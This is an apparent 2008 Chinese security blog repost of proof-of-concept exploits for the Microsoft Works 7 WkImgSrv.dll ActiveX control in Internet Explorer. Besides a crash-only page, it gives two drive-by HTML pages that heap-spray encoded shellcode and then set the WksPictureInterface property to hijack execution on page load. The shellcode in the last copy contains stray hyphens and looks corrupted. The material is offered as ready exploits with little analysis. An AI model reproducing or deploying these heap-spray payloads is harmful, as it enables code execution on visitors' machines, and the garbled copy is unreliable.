Microsoft Works 7 WkImgSrv.dll crash POC  

    [多云 April 22, 2008 11:04 | by ]
转载:http://hi.baidu.com/nansec/blog/item/299edffcd582d4f8fc037fb9.html
2008-04-17 16:34
dll版本7.03.0616.0  

IE7+xpsp2 测试通过。

转载请注明出处并保持完整性,谢谢。
<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
<script language="JavaScript">
function payload() {
var num = -1;
obj.WksPictureInterface = num;
}
</script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>

以下是转载PST-BSS

<html>
<head>
<SCRIPT language="javascript">
var axis = 0xdeadbeef;
var payLoadCode = unescape("%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var heapSprayToAddress = 0x0c010101;
var payLoadSize = payLoadCode.length * 2;
var spraySlide = unescape("%u0c0c%u0c0c");
var heapBlockSize = 0x100000;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
spraySlide = get_SpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}

function get_SpraySlide(spraySlide, spraySlideSize)

{

while (spraySlide.length*2<spraySlideSize)

{

spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

</script>
<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
<script language="JavaScript">
function payload() {
var num = 0x0c0c0c0c;
obj.WksPictureInterface = num;
}
</script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
<html>
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u012-0%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u-0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245-C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u-808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u687-3%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var weknow = unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
var slackspace = shellcode.length;
while (weknow.length<slackspace) weknow+=weknow;
kook = weknow.substring(0, slackspace);
kook1991 = weknow.substring(0, weknow.length-slackspace);
while(kook1991.length+slackspace<0x40000) kook1991 = kook1991+kook1991+kook;
memory = new Array();
for (x=0; x<300; x++) memory[x] = kook1991 + shellcode;
target.WksPictureInterface = 168430090;
</script>
</body>
</html>
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(7068)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive